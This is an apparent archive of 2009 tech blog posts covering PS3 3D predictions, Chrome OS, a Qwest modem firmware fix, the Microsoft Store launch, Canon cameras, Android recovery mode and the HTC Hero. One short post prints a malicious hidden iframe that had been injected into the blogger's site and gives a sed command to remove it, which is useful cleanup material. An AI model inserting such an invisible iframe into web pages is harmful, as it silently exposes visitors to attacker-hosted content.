We speculated back in August that the stars were starting to align for Sony around a Motion-controlled/3D future for the PS3. Our confidence in this fact centered around the recent motion-controlled demonstration that Sony gave for the PS3 at E3. Combined with the never-used EyeToy camera, what Sony was showing off looked comparable, if not better, than the motion control that Nintendo has been trying to sell us for years.

Coupled with the belief that the NVIDIA RSX platform shared quite a bit of tech with the eventual NVIDIA 8xxx series which does currently support 3D via the new 3D Vision product, we guessed that in very short order (2010-ish) Sony would begin promoting a 3D future for the PS3 when coupled with 120hz or 3D-capable televisions.

Kotaku covered details from a recent Sony presentation in which they did exactly that — specifying that all existing PS3s on the market can be made 3D capable with a firmware update. Sony expressed a desire to roll out such an upgrade by the end of 2010 to all existing and new PS3s. The entire rollout looking something like this:

This move by Sony would certainly get them out of the rat-race with Microsoft and the more multiplayer-friendly that is the Xbox 360 — a hardware move like this, if successful (as proved it can be by Nintendo), would force Microsoft into another hardware revision of the Xbox family in order to compete.

While Microsoft is bringing image-recognition-based motion control to market shortly with Project Natal, there are still no plans to cater to the 3D market… assuming there is one.

We are going to make another prediction right now and say that there will not be a significant 3D gamers market until after 2012. We aren’t basing that on any Mayan calendars or end-of-days premonitions, just our own experience with 3D and how solidly unimpressive it was.

We were at PAX 2009 this year and spent some time at the NVIDIA booth, watching Resident Evil 5 with the NVIDIA Vision glasses. The NVIDIA employee went out of his way to explain that Resident Evil 5 was “built from the ground up to fully utilize this 3D technology”.

We put the glasses on and expected to be amazed but were instead greeted with an experience that was lacking in all the ways 3D experiences typically are:

• Shifting your angle of view caused visual anomolies that you are likely used to if you’ve been to a 3D movie.
• There is some visual ‘leap of faith’ required to try and immerse yourself in the 3D experience, because the scene and some of the items in it look odd.
• 3D visualization of games that only expect 1 Point-of-View really exacerbates how “flat” a scene will look — sort of like the different layers of a scene in Little Big Planet sliding by each other.

There just wasn’t any significant shift in the experience for me to think that it was worth the $200 glasses or a $2400 TV to experience it.

Given this is 3D 1.0, and we’re bound to see electronics manufacturers play with different ideas until one “sticks”, I would not expect a solid 3D gaming market/experience until 2014 — some experience that is so expected that all the triple A titles are shipping with support for it.

And oddly enough, 2014/15 is the timeline Sony was looking at for the Playstation 4, and we’ll most likely be seeing the 3rd revision of the Xbox 360 by then as well.

Mainstream 3D is years away, but it will come.

As we type this Google is in the process of announcing their new Chrome OS operating system at a Google Event (TechCrunch Live Coverage). Just like the Chrome browser is based on the Chromium OS project, Chrome OS will be based on the Chromium OS project.

Glancing around the source repository for Chromium OS it looks like the operating system is unsurprisingly based on Linux and more specifically based on a severely trimmed down Ubuntu build.

One oddity I noticed in the package listing was the inclusion of XUL Runner 1.9 (xulrunner-1.9 1.9.0.11+build2+nobinonly-0ubuntu1), which is the Mozilla platform for the Firefox browser. It’s entirely possible that XUL is in there as a dependency of one of the other libraries though.

Right now without more time spent with the OS, it looks like Google is taking a NetBook QuickStart-OS type of approach. You boot your laptop up, it boots just enough Linux to get you to a desktop and spins up a Chrome instance for you and you’re off to the races.

There have been a handful of mockup “screenshots” or people’s renditions of what they think the OS will look like online, with some of the more plausible looking ones looking more like the one above and showing off a very simple desktop that is essentially a desktop with a quick launch bar for all the web-based products Google ships (Gmail, YouTube, Reader, Maps, etc.)

Update #5: Here a demo of the current Chrome OS UI — although Google mentioned that Chrome OS is still 1 year away from release and right now this is the UI they are working with:

Click here to view the embedded video.

We’ll post more as the event unfolds and gives us more details. So far though, given our affinity for Chrome as a browser and the power of Gmail, Google Docs and Maps all for an average computer user — this looks like a solid NetBook win across the board even if they do nothing more.

Update #1: Quote from Google Chrome team member:

It’s been a year. We just announced we’re over 30 million users – and now we’re already over 40 million users.

Jesus, had no idea they had already rolled out to that many users, if I had to guess, I would have said 5-10 million at most were Chrome users. Congrats!

Update #2: Very interesting approach for Chrome OS and compelling as shit for NetBooks:

In Chrome OS every application is a web application. There are no native applications. That gives us simplicity. It’s just a browser with a few modifications. And all data is Chrome OS is in the cloud. This is key, we want all of personal computing to work this way. If you lose your machine, you just get a new one, and it works.

Also looks like for security, everything is a webapp and runs inside the browser’s security model, so no concern of installed viruses or anything like that.

(well, not until someone figures one out in JavaScript)

Update #3: A handy video explaining the security model behind Chrome OS:

Click here to view the embedded video.

Qwest has been rolling their new high-speed fiber-optic DSL service out throughout Denver and Arizona for the last year or so (it’s not fiber-to-the-house, but with 40mbps available, who cares?). I’ve been a happy Qwest DSL client for about 3 years now — no complaints and more importantly — no outages.

When the fiber service started rolling out with speeds of 12mbps and 20mbps offered, I would reflexively crap my pants and throw myself into jealous rages because it wasn’t available in my area — that all changed last week.

Not only has Qwest rolled out fiber in my area, they also rolled out a new 40mbps/20mbps service as well for $115/mo — that doesn’t have any bearing on this post, it’s just awesome.

Anyway, I ordered the 20mbps/5mbps service which required an upgrade to the Actiontec Q1000 Qwest-branded modem. This is a Gigabit-capable 4-port modem with Wireless-N capabilities — I’ve had Actiontec equipment in the past from Qwest and it was garbage — replaced within months by 2wire which worked much better. Fortunately after a week with this Q1000 it looks like Actiontec may have cleaned some things up, the modem works fine with some basic firewall, port forwarding and advanced routing rules — this was something the older Actiontec modem that Qwest was selling couldn’t no — no joke, it literally couldn’t employ port forwarding rules AND the firewall at the same time — fail.

Anyway, after getting the Q1000 setup and the service enabled, I hooked my Xbox 360 via a WAP (I’ll give a review of later) and when I tried to get the Xbox online, I would get an error similar to the following:

Unable to connect to Xbox live, the MTU setting of your router is less than 1365 and must be increased. Please fix the problem and try again.

There is literally no MTU setting anywhere on the Q1000 — and reading through some other threads online, folks had suggestions ranging from disabling uPnP all the way to manually changing the MTU settings on your Windows machine (yea, I have no idea how they thought that would help).

As the threads went on, more and more folks said upgrading the firmware did the trick for them and magically the Xbox 360 started working again without any problems.

This sounded easy enough, but believe it or not, I was actually confused by the Upgrade Firmware screen on the Q1000 — on the older 2wire I had, there was a button that I clicked that would check the firmware against the remotely available version and then upgrade it if available — it also automatically upgraded itself constantly too (which got annoying after a while).

On the Q1000, there is simply a Download button and you end up with a file that has no identifying name or type, just firmware.

Believe it or not, this s all fine — and it worked great. So I’ll give you the instructions on how to update your firmware incase you are bamboozled by this — and get your Xbox 360 back online:

1. Go to 192.168.0.1 (or whatever IP address you gave your modem)
2. Login to your modem — I believe the default credentials are “admin” or “admin”/”admin” or just try password “admin” — it’s one of those.
3. Go to Utilities
4. Click Upgrade Firmware in the left menu
5. Click the Download button in section #1 — you will likely be prompted to safe a file named “firmware”, save it anywhere on your local computer.
6. Now scroll down to section #2, and click the Browse button and select that “firmware” file you saved.
7. Now scroll down to section #3, and click the Upgrade Firmware button, this will upload the file you just saved and apply it then restart the modem

And you should be all set. Let us know if you run into any problems. Happy gaming!

Many thanks to Chris Hunkele for the pics and video’s from the grand opening!

If you live in Phoenix or Scottsdale you like saw the news that Microsoft has opened it’s first (new) Microsoft Store in the Scottsdale Fashion Square mall and from the looks of things, it was a huge hit. With a few hundred people milling around the store itself Chris explained a bit more about the setting:

… what you didn’t see were the 5 mall cops and 7 Scottsdale police officers monitoring the outside of the store where fabric lane dividers stretched down the hall.

I’ve been inside Fashion Square enough times to know that “down the hall” like means “22 miles”… or there abouts… it’s a long mall.

The “store” idea was actually something Microsoft tried back in 1999 (before Apple) with the “microsoftSF” store – back when Microsoft thought DirectX was awesome and APIs were a good way to market beige colored desktops. That idea didn’t pan out and Microsoft focused on tech for about 8 years before deciding it had to become “cool” again — like Apple.

Fast forward 10 ass-sore years later and now that Microsoft has finally gotten the company lined up behind the Xbox-leading vision of developing and delivering trendy “cool-tech”. The timing was perfect to try the store idea again and there is plenty for Microsoft to be eager to show off.

The overall vibe of the store is exactly what it should be: “Here’s cool tech we have had a hand in, go ahead and play with it”.

Whether it was laptops, netbooks, Xbox 360s hooked to a wall full of LCD TVs:

or the molestation-thrilled Microsoft Surface – which had a very solid showing – Microsoft had every sexy product out and ready for show.

Click here to view the embedded video.

Yes this idea sounds familiar, but it works when you have something that can attract a crowd of onlookers and gadget-lovers. Besides the customer support angle, Microsoft has never offered anything compelling enough to structure a store’s existence around; now they do.

For the longest time Microsoft was a software-only company and you can’t launch a store to show off… what… Exchange Server 2010 and Outlook? Even trying to establish deals with exclusive vendors 10 years ago to decide which Microsoft-blessed hardware would go into such a store would be just as boring, there was nothing flashy to show off… just a big green Start button and an Explorer view that now had a web browser in it. As for hardware, everything was black and boxy — what was compelling about that?

To get consumers to stop and peek in, you need glitz and ‘window appeal’ — give customers something they want to walk in and put their hands all over (Surface).

The only reason Apple pulled off the “store” idea in recent history is because they were offering solutions of sexy hardware and sexy software. If Apple had only nailed the sexy hardware, but ran say Windows XP — I doubt the stores would have lasted. But they managed to provide a refined hardware and software experience that you couldn’t get anywhere else and then mixed in the support and developed a really compelling reason to peek your head in the Apple store’s door as you walked by: “Oh, I want to ask about a bluetooth headset for my iPod”.

Enter the Xbox 360, Windows 7, Microsoft Surface, Zune HD, Windows Mobile 6.5 and mobile/tablet touch-screen devices and a slew of other 1-off items and you suddenly have the makings of a store that’s fun to walk into and play around with until you’re ready to buy something. It’s basically Gymboree for adults — not saying that if Microsoft put a huge pool of balls in there I wouldn’t jump in… just that Surface and Xbox 360 with motion control are just as fun for adults.

If you go walking by the Microsoft store and on a 150″ plasma (yes they have one) you see someone playing Halo Reach on one wall and then see someone throwing paint on a dog on another wall of LCDs with Project Natal, I’m going to bet you’ll walk in — and maybe ask a question or two — and maybe walk out with a new mouse, maybe a Zune HD (Zune 2) and high hopes for an Xbox 360 for Christmas.

Brilliant

You throw some decent customer support on top of that, and next time your laptop tells you that it cannot install the driver for your digital camera, you throw that shit in your car and roll down to the Microsoft Store and ask them what’s going on — as opposed to calling India and talking to Rajesh* about reformatting your AOL internet.

* No offense intended, Rajesh is a hell of a guy and great at backgammon.

Update #1: Thanks to Dave Bullock for the heads up that you can actually get your RROD’ed Xbox 360’s fixed at the new Microsoft Store. Basic repairs can be done in-house, like faulty power connectors, but more common repairs (like heat-sync failing and typical RROD causes) the console will still need to be shipped out, however, Microsoft will ship you a replacement console immediately after the store has taken it into custody and you don’t need to wait those extra days for Microsoft to confirm receipt of it.

Update #2: Chris has done a technical analysis the likes of CSI and we are pretty sure Bill Gates doesn’t work at the new store… or at least he does and he was having a bad hair day:

Videos

You can scroll through the playlist of videos from the Grand Opening below.

Pictures

London, 20 October 2009 – Canon today announces that it is currently developing a firmware update to the EOS 5D Mark II to enable the recording of high definition 1080p video at 24 and 25fps. The decision to develop new firmware to support these features has been taken following feedback received from cinematographers and photographers.

Introduced in September 2008, the multi award-winning EOS 5D Mark II was the first DSLR product to offer full frame 1080p HD video recording, opening up a multitude of new creative possibilities for photo journalists, news photographers and amateur filmmakers. Since then, Canon has continued to develop its groundbreaking EOS Movie functionality, firstly with the firmware update to the EOS 5D Mark II that enabled manual exposure control, and more recently by introducing a choice of video recording frame rates with the EOS 7D and EOS-1D Mark IV.

Canon currently expects the firmware update to be made available during the first half of 2010. An announcement regarding details of the update and its availability will be made closer to the release date.

SmugMug’s Don MacAskill blogged about Vincent Laforet’s new ‘Nocturne’ short that was shot in 1080p at ISO 6400 on the new Canon 1D Mark IV — for those of you with your 5D Mark II’s, apparently the 1D MIV has better low-light performance, but the body runs a solid $5k — so probably just buy 2 instead of 3.

Overall quality looked excellent, wouldn’t know the difference between this and a “real” camera used in Hollywood, but I’m not professional photographer. Interesting for the folks out there that want to shoot this kind of work and have $5k to drop.

Vincent was also known for breaking-in everyone’s 1080p expectations with the Canon 5D Mark II when it was just about to hit the market as well.

Introduction

This document will cover both how to get your Google Ion into Recovery Mode as well as a few other clarifications to HTC’s Google Ion device instructions for installing Android 1.6 that caused me pain during this process.

If you are like me and have an Android device, more specifically the Google Ion Android developer device from the Google I-O conference, then you are likely excited about the Android 1.6 release that is available and want to install it.

I’ve actually been sitting here waiting and rebooting my phone all week thinking that T-Mobile would push that update OTA to me like it did my wife’s phone and all my friend’s Android phones — unfortunately not, if you have a Google Ion phone, you will not get the Android 1.6 update over-the-air from T-Mobile.

So I set out to figure out how to install it myself. Fortunately HTC provides a very specific Google Ion device page showing you how to install different types of platform software on the phone. Unfortunately the page is geared at Android developers and some of the terminology used on the page will be confusing, so I’ll clear it up for us normal folks that just want to update their phone with the new Android OS:

Summary of Page for Normal People

• Download the “Radio Image” package
• Download the “Recovery Image” package
• Read the clarifications below FIRST, so that page and future instructions make more sense.

Once you’ve done that, the rest of the instructions on the page, about installing the Android SDK and using the abd tool all work great except for a few factual omissions that drove me crazy and I’m hoping to save someone their sanity by posting them here.

Don’t Mount as USB Storage

This isn’t specified anywhere, and is self-explanatory for some folks, but not everyone. When you are connecting your device to your computer, ignore the “Mount SD Card as USB storage” prompt on the phone. Leave the phone connected as a normal USB device.

You Probably Need the WinUsb Driver

My install of Windows 7 didn’t see my device when I connected it to my machine. After some digging around online and finding some seriously complicated solutions to getting Windows to load the right Android USB Driver, I found 1 sane users that pointed over to the official “Installing the WinUsb Driver” doc from the Android group — low and behold this worked just fine. I found the Unknown Device in the Windows Device Manager, right-clicked on it, selected Update Driver… and selected the path to the /usb_driver sub-directory under my Android SDK install directory and Windows took care of the rest (found and installed the USB driver).

Booting the Google Ion into Recovery Mode

This was maddening and took me about an hour to figure out. The instructions on HTC’s Google Ion device page specifically say you reboot the phone into Recovery Mode by doing the following:

Reboot the device into recovery mode by holding down the HOME key during reboot. When the device enters recovery mode, it displays a “!” icon.

This is crap — not only is it confusing (e.g. How do I know what phase of startup is considered ‘during reboot‘?), but it’s also wrong.

The correct way to boot your Google Ion into Recovery Mode is as follows:

Thanks to Vladimir Kelman and his insistence that HTC’s instructions made no sense. (Additional Link)

1. From the desktop, hold down the END/Power-Off button (to bring up the Phone Options menu)
2. Select the Power off option
3. Click OK on the Power off confirmation screen
4. NOW, immediately press the HOME-button and END/Power-Off button together at the same time — the phone’s “Shutting down” screen will continue to show, and you may see your Applications slider pop open in the background, but just keep holding these 2 buttons.
5. The phone will shutdown like normal, but instead of staying off, it will immediately kick into the that white “Google I-O” boot screen.
6. After a few more sections, a screen with a “!” inside of a triangle will appear, congratulations, you are in recovery mode. It looks like this:
   



7. You can now press HOME-button and END/Power-Off button together to bring up the recovery console — but the rest of the HTC Google Ion device instructions work just fine so you can follow them now.

Luckily this is just like last time, and was easy to get rid of. I hope this tip helps someone else out as well.

This time, the iframe snippet that was getting added was:

<iframe src="http://reycross.com/laso/s.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

Luckily, I had my old script laying around that systematically searches through all my files and removed the offending piece of crap from the files, you can use this script command as well to do the same:

find . -name '*.*' -exec sed -i 's/<iframe src="http:\/\/reycross.com\/laso\/s.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no><\/iframe>//g' {} \;

Hope this helps anybody else getting sacked by this attack. I think it has to do with a theme vulnerability

Late for work? Just zoom-in!

As Chris Hunkele points out, Google has launched traffic information for surface streets (no longer just interstates), but it’s not perfect just yet. Chris tells us:

… it’s a little buggy, look at the east west curvy street (greenway), when zoomed in the traffic is fine, when zoomed out it’s red, you can keep zooming in and out and it will just keep reporting the same thing…

Something that Chris is ignoring is how powerful Google really is… it’s entirely possible when you zoom in too much, Google is changing the traffic lights to adjust the flow of traffic — so the results are actually accurate.

Also… Chris… you might want to stop zooming in on Greenway, backing all that traffic up

Back when the PS3 and Xbox 360 were first announced, we aren’t ashamed to say that we were avid fans of the PS3 platform… much more so than the self-aborting Xbox 360. It was a much higher build quality, the technical achievement of the Cell Processor was ridiculously complex and therefore impressive, it played Blu-ray disks… the list went on and on.

The unfortunate reality, 2 years later, is that my Xbox 360 sees 80% of my game time on it because the multiplayer/online experience is just so much better — that’s a software problem, not a hardware problem. Unfortunately Sony likes to move at the pace of an elephant, and instead of matching parity with Microsoft immediately with friend-connectivity functionality and at least keeping the argument of “Which one is better” going, in true Japanese fashion, they decided to focus on hardcore functionality instead.

Right now, the Xbox 360 is a better gaming experience. Sony has promised us a 10-year product cycle with the PS3 however, and with some of the more recent PS3 platform and 3rd party engine enhancements, it looks like the platform is finally starting to come into it’s own.

While PS3 still cannot rival Microsoft’s crafted gaming experience on the PS3, they are getting closer… but that’s not the interesting part.

When you sit and think about what it would take for Sony to “win” in the long-run, you have to think about what the new hotness is in gaming, more specifically two things:

• Motion control
• 3D (???)

Nintendo did pioneer motion control and got it into everyone’s minds and homes, but it wasn’t the “1:1″ experience we thought it would be, nor is the new Wii MotionPlus.

Sony has already shown us that they’ve been working on visual motion control, again promising 1:1 motion-mapping experience… maybe we’ll get it this time?

Click here to view the embedded video.

In addition to that, NVIDIA has quietly been promoting their 3D Vision product, to deliver a true 3D gaming experience to PC gamers that have:

• GeForce 8-series or higher
• Display capable of 120hz or higher

If you recall, the NVIDIA RSX graphics chip inside the PS3 actually provided the launch base for the 8-series of PC graphics cards. And as far as 120hz displays, they are all over the place when it comes to televisions (but not necessarily PC monitors).

… do you see the trend forming here? Let’s recap:

1. Sony’s R&D to Product cycle moves at a glacial pace, but it moves.
2. Sony launched the PS3 as an unnecessarily complex/functionally advanced technology platform.
3. Motion-controls and 3D are becoming the new hotness in gaming, discussed at all the gaming conventions for the last year.
4. Sony showed off some R&D progress they’ve made with visual motion-control last year.
5. Sony has a 3D-enabled graphics processor already shipping inside the original PS3
6. Most television sets sold in the last year (and possibly longer) provide support for 120hz, the base requirement for successful 3D rendering.
7. FUTURE: In 2011 Sony releases motion control for the PS3
8. FUTURE: In 2012 Sony releases 3D glasses for the PS3, providing a comprehensively detailed “experience” in your living room.
9. FUTURE: 2013 Sony hints at the PS4, which will ship with all these features out of the box.
10. FUTURE: 2014 Sony demos off advanced tech for the upcoming PS4
11. FUTURE: 2015 Sony announces the PS4 for Christmas of 2015, it includes 1080p 3D rendering, full 1:1 body-motion control (no more need for devices)

The bread crumb trail is there and it all seems to point at this. I have no idea what Microsoft and Nintendo will do in response. I wouldn’t expect main-stream 3D from Nintendo until 2018 or later (that sounds like a long time, but Nintendo won’t do anything that is ‘cutting edge’, they make too much money re-selling us their last-gen game systems).

Microsoft will absolutely fight Sony tooth and nail down this path, but given Microsoft’s history with human-computer interaction, I’m going to guess their motion-mapping is going to have problems for years.

Deciding Factor: It’s cheaper for content developers to leverage their existing technology stacks, engines, frameworks and previous game assets for a long-standing platform than it is to develop new technology for a new platform. We saw this with Windows XP for 100 years and again with Nintendo Wii.

Giving game developers 10 years to develop an expertise and asset library around a platform and then letting them continue to leverage that for better and better selling titles is going to be huge. I fully expect Microsoft to introduce a new revision to the Xbox family in 2012 that will cause moaning and groaning from game companies that have to re-evaluate their tool stock and see what works and what doesn’t — starting from scratch in some regards.

It’s interesting to think about… in a few years, the PS3 might win afterall.

The enhancements that Crytek have gotten into CryEngine 3 are nothing short of amazing, specifically on the PS3. Cevat explains that over the years they have had two R&D engine teams internal to CryTek: 1 PC Team and 1 PS3 Team.

As some of you may know, developing for the Xbox 360 was made intentionally easy by Microsoft by wrapping most all of the PC-based APIs up in some proprietary Xbox 360 APIs, but for the most part leaving them intact. So developing for the Xbox 360 and PC were really straight forward, especially for companies with a long history in PC gaming like Valve — who hate the PS3.

Unfortunately it seems like developing for the PS3 has been a mind-raping experience for most developers. It was either the bare-metal APIs at launch that weren’t doing much abstraction away from the core design principle of “stream everything, nothing goes in memory” or the incredibly complex hardware — that was apparently designed to be complex intentionally.

Because of this, a good majority of the games that have come out of 3rd parties for the PS3, have been sub-par behind their PC or Xbox 360 counterparts.

Cevat explains that the two R&D teams inside of Crytek have actually been combined to move CryEngine 3 so far forward, that now PS3 is performing like their premiere platform — it’s pretty incredible when you see the detail and complexity of what they are demoing here:

Click here to view the embedded video.

Something to keep in mind is that there is a lot not going on in these scenes that a finished game would need processing power to drive; like complex AI, many animated characters, complex physics, scripted sequences, sound mixing, etc. There are some portions of that in the demo, so at least we can get an idea of the ballpark they are playing in, and I’m seriously impressed.

During an 1,800-mile road trip to test the customization out, they averaged 92mpg, with a minimum of 72mpg through a hilly patch of country road.

The guys have documented the entire process, and claim that the electrical subsystem wasn’t completely functional for the trip, expecting somewhere around 100mpg easily if it had been.

In a wonderful closing note, they mention:

If we can do it I don’t see any reason why major auto manufacturers can’t do it since we used their parts.

Yes… indeed. Can anyone figure out how people were modding Toyota Prius’s more than a year ago (and Honda’s almost 5 years ago) to get 100mpg and the car manufacturers still can’t seem to mass-produce a vehicle that can pull that off?

<sarcasm>I bet it’s a technological hurdle… oh wait.</sarcasm>

Thanks Slashdot!

In an attempt to compete with the oncoming shit-house that is Microsoft’s Bing, Facebook’s real-time Search and everyone else generally wanting a piece of the Google pie, Google has pulled version 2 of Google Search out of the garage for some beta test runs while they tighten the screws over the coming months.

You can give it a try and read Mashable for a bit more information on the strategy behind it.

It’s interesting to see Google muscled into doing anything honestly… and so far I can’t tell that much of a difference with the new search results — but that’s only after playing with it for 10 mins and I think the mark of a successful roll-out is if no one can tell the difference except possibly that it “feels better”.

Update #1: Tom Robinson, afflicted with a horrible case of badass, has thrown together a side-by-side results comparison util for Google 1.0 and 2.0, give it a try.

Engadget Mobile put up their (excellent) review of the HTC Hero recently and I got a lot of information out of that review that I hadn’t gotten anywhere else. More specifically the following highlights:

• Hardware – The hardware in the HTC Hero was rumored at one point to be improved upon the HTC Magic, that form the basis for the T-Mobile myTouch 3G, Google Ion as well as being deployed as-is to something like 19 other networks world wide. After investigation by the Engadget Mobile team, it looks like the hardware inside the HTC Hero is identical to the Rogers version of the HTC Magic, more specifically:
  • 528 MHz CPU
  • 288 MB of RAM
  • 512 MB of ROM
  • 480×320, 3.2″ Screen
• OS Changes – A lot of people (myself included) were drooling at the shiny new interface that HTC slapped ontop of the Hero that was not the default Android UI, but instead this nicely animated and flashy looking UI that HTC had invented. Unfortunately, Engadget found out that this all comes at the cost of many more running processes in the background on boot. From the special calendar to the flashy paging manager, they actually took a look at the number of running apps on two vanilla devices, the HTC Hero and T-Mobile G1, and found the Hero to have significantly more running processes on boot. Given the same hardware specs at the HTC Magic (and almost identical hardware that had to the G1), this means less memory available, more background tasks, more VM to ROM swapping and generally more lagging during usage of the device — which Engadget confirmed:
  
• Flash Support – The HTC Hero is currently the only phone that offers native Flash support. This means browsing to pages like YouTube, Hulu or CollegeHumor won’t give you a special version of the site with integration into a native movie-player like the iPhone or T-Mobile G1 have, instead you actually see the Flash site. Sounds great, in theory, unfortunately the processor and memory requirements to performantly rendering a Flash page kick the hardware in the HTC Hero right in the nuts, leading to a sluggish/stuttering browsing experience:
  
• Keyboard: One of the more talked about features of the new HTC Hero was the “superior” soft keyboard that they were launching as a complete redesign to the default software keyboard in the Android OS. As someone that never had a problem with the soft keyboard in Android as it’s provided now, I didn’t see what all the hub-bub was about. It seems that you aren’t missing out on a whole lot with it having annoyances just as bad as any other soft keyboard and the author claiming it’s still not as great as Apple’s iPhone software keyboard. Just to be clear, I don’t find Apple’s iPhone soft keyboard to be any more awesome than Android OS’s existing soft keyboard… I didn’t even care that much for the physical keyboard on the T-Mobile G1, so I have no idea what metric all these people are using to review keyboards. You can learn any keyboard comfortably with enough practice… as long as it’s not retarded, you’ll be fine.

Some other thoughts on the device from the review were:

• 5MP camera was great
• Video capture was terrible, just as bad as default HTC Magic (352×288)
• Battery life was good (all day with decent use)
• Speaker clarity/volume was solid
• Graphical fidelity of the HTC Hero UI was great/sexy
• Custom HTC widgets (like the compass) were great
• Custom HTC apps (like the Twitter app) were great

Overall, I saw a very fair balance between pro/con in this review. In the past I’ve always been willing to trade flashiness and glitz for performance in my computers, and that extends to my mobile devices as well. Having just purchased a T-Mobile myTouch 3G for my wife and having been playing with it’s Google-counterpart (the Google Ion) for a few weeks, I don’t see anything in that review that would make me want to hold out for a Hero on T-Mobile instead of ordering the HTC Magic-based myTouch 3G they offer now.

Back when I originally planned to hold out for the HTC Hero, it was under the impression that there was a revised CPU and Memory in the device to compensate for the Flash support performance requirements. Seeing that isn’t the case, and the price paid for running advanced software like that on older hardware makes me almost completely uninterested in the device.

The litter judders and stutters I get on my 1st generation iPhone with the 2.2.1 firmware already drives me crazy, any more pausing and stuttering and I’ll throw my mobile device through a wall.

For us “vanilla” Android device users out there, we also have Android 2.0 coming out this summer to look forward to as well. I imagine the UI will continue to get polished and tightened up as time moves on.

Introduction

I just purchased a Canon PowerShot SX 1 IS (not the SX10 — which has no HD video recording) to replace my existing Canon G9 (which is an excellent camera):

What I really wanted out of the SX 1 IS was the 1080p @ 30fps video recording and improved zoom for traveling. Unfortunately when the SX 1 IS was finally shipped and got to my door step, I noticed a few things that made me send it right back and keep my G9.

Keep in mind that all these issues were things I already “knew” about from reading reviews, but it’s still not the same as actually holding it in your hand and experiencing them for yourself.

Ok, let’s dive into the juicy bits.

Review

• Cheap feeling plastic body that can flex under pressure. If you are used to the Canon G9 (solid metal chasis) or any of the Rebel DSLRs or higher, Canon has this fantastic brushed/textured solid steel casing that they tend to use for their body chasis that feels great in your hand. The G-series uses it, but the SX 1 and SX 10 do not, they use a plastic chasis that feels cheap.
• The mini-DSLR form factor is uncomfortably small. When you are holding a camera like this, you need the leverage of full sized hand grips. I noticed the thumb-pad part of my palm on my right hand was always pressed against the adjustment dial in the back on the SX 1, hitting buttons as I held it:
  



• The 2.7″, fully-articulating screen on the back is too small and lower resolution than the beautiful LCD screen I have on my 2 year old Canon G9. It was annoying to use being used to such a nice large screen.
• We already talked about the cheap-feeling plastic body, but the frame around the fully articulating screen is also plastic and has a certain level of “flex” to it while you are manipulating the LCD. I’m sure this won’t break it, but it feels “Cheap” at best. I’m messing with an LCD screen, the last thing I want is for the encasement around it to be “flexy”… making atleast this part all metal would have been a smart move.
• The digital view finder is a gimmick and not useful. If you are wondering what this is (I didn’t know what it was), it’s essentially a really low resolution LCD screen inside the view finder view port that kicks on if you turn the screen around so it’s “off”. So you have a small TV screen in the eye view port that shows you the same thing the LCD on the back would show you — it’s not a real optical view port with overlayed information like a typical DSLR. The first thing that popped into my head when I saw this was “well that’s useless…”
• 20x optical zoom is excellent
• The popup flash is really bright — much more so than my G9 — I think I almost blinded my cats the first day I got it.
• Facial recognition is very fast and contiguous — I guess this is the Digic IV processor at work, but recognizing faces is really fast on this camera and tracks them in real time on the LCD accurately.
• Video recording is quick flexible/impressive. On the G9 when you started video recording you couldn’t zoom OUT from where you started recording (or in I think… I can’t quite remember). It’s very strange and super limiting. On the SX 1, you can zoom in and out completely (all 20x) as well as re-sample your focal point at any time by half-holding the shutter button even while video is recording.
  
• Full depth-of-field controls available WHILE video recording. This was awesome, you can actually get some awesome depth-of-field effects in your videos while recording video with this camera. I tried recording a tomato plant, and got really close to it so the leaves were blurred and hit the refocus button and it refocused on the individual leaves and the plant itself was all blurred out. Very slick.
• Stereo mics built into the face of the camera to capture excellent sound — was really surprised about this.
• The “video record” button on the camera is poorly placed and an annoyance. You might think “Oh, handy, an extra button JUST for video”, and you’d be right, except even when you put the camera into Video Capture mode, using the primary capture button STILL only takes pictures. Canon forces you to use this extra video capture button that is placed so far in on the center of the back-side of the camera, that you must free up and use your other hand to push it. And again to turn the video off — which likely means at the end of every video you have a slight movement of the camera away from the target as you push it in with your secondary hand. That is just annoying… why doesn’t the primary capture button start/stop movies like every other Canon camera while in video mode?
• Integration between video and picture captures is solid/seamless. You can snap a picture while in video mode, it will take the picture like normal, and introduce a small lag into the video where the picture was taken — a sort of freeze-frame effect. It’s a smart way to cover up the break in video recording, sort of stylish, without forcing you to break your video into clips every time a shot is taken since video recording isn’t stopped.

Summary and Suggestions

Overall the video recording on the camera was the big win for this model — which is why I got it. It was the only camera in the Canon lineup that did 1080p @ 30fps — I was sort of amazed about that. My hope is that more cameras in the Canon lineup later this year or early next add this ability. But unfortunately the integration of the stupidly placed “video record ONLY” button was frustrating enough to not make that seamless use, and the actual durability of the camera body had me concerned as I plan on dragging this thing across Europe in a backpack.

While I have no concerns about the G9 making that trip, I would seriously doubt that the SX 1 or SX 10 could make such a rugged trip without it’s own carry case.

If you are looking for a DSLR-form-factor camera for travel and durability is an issue, I’d recommend the Canon T1i whole-heartedly:

It’ll do 1080p video at 20fps which is kind of a bummer. If you really need 1080p video recording as a primary feature, like I want, then you’ll either need to wait for some refreshed models (I think a Canon G11 with 1080p would be a perfect fit for me) or just pickup a Canon VIXIA HF100 or HF200 camcorder. Unfortunately they aren’t that cheap, so if you could wait, I’d suggest waiting for your favorite form-factor of camera adding HD-recording soon enough… it’s the new trend anyway and should be here sooner than later.

Closing Thoughts

To sum it all up, the Canon PowerShot SX 1 IS would have been perfect if the following were true:

• Metal or much more sturdy chasis
• Better placement for video-specific record button AND better default behavior for primary capture button while the camera is in Video Mode
• Had the high-resolution 3.0″ screen from the other Canon models
• If the view finder was not digital and was instead optical with information overlays like normal DSLRs
• If grip-form-factor on the right hand side of the camera was a bit bigger so you could grip the camera comfortably without having the meaty part of your hand pushing all the radial buttons (NOTE: If you have small hands, this might be a perfect fit. I have average+ sized hands. Nothing huge.)

You’ll notice that this request list isn’t that big at all… it basically ends up looking like the Canon EOS 5D Mark II, but given how much ridiculously awesome functionality this camera already had, it’s not that far from where it is now to rounding it out to being the perfect camera… and certainly no where near the $3,300 of the Mark II.

The SX 1 has a huge amount of potential, and I get the feeling Canon stopped just short of the finish line with it intentionally, so as not to ruin hopes of up-selling people to the T1i — the odd thing about that is the improved 1080p video capture on the SX 1 that already beats every other Canon camera out except the 5D Mark II… I can’t figure this one out.

Maybe the SX 2 will be what I want.

I’m not a fan of Macs generally speaking, but due to recent realizations that Microsoft was never going to create an operating system that didn’t share fundamental behaviors with all past and present versions of Windows — I’ve decided to jump ship and get a computer that will “just work”. Keep in mind I don’t mean something-sexy when I say “just works”, like support for every device on the market… I simply mean doesn’t fall apart and become unsable until you reinstall the OS for no reason.

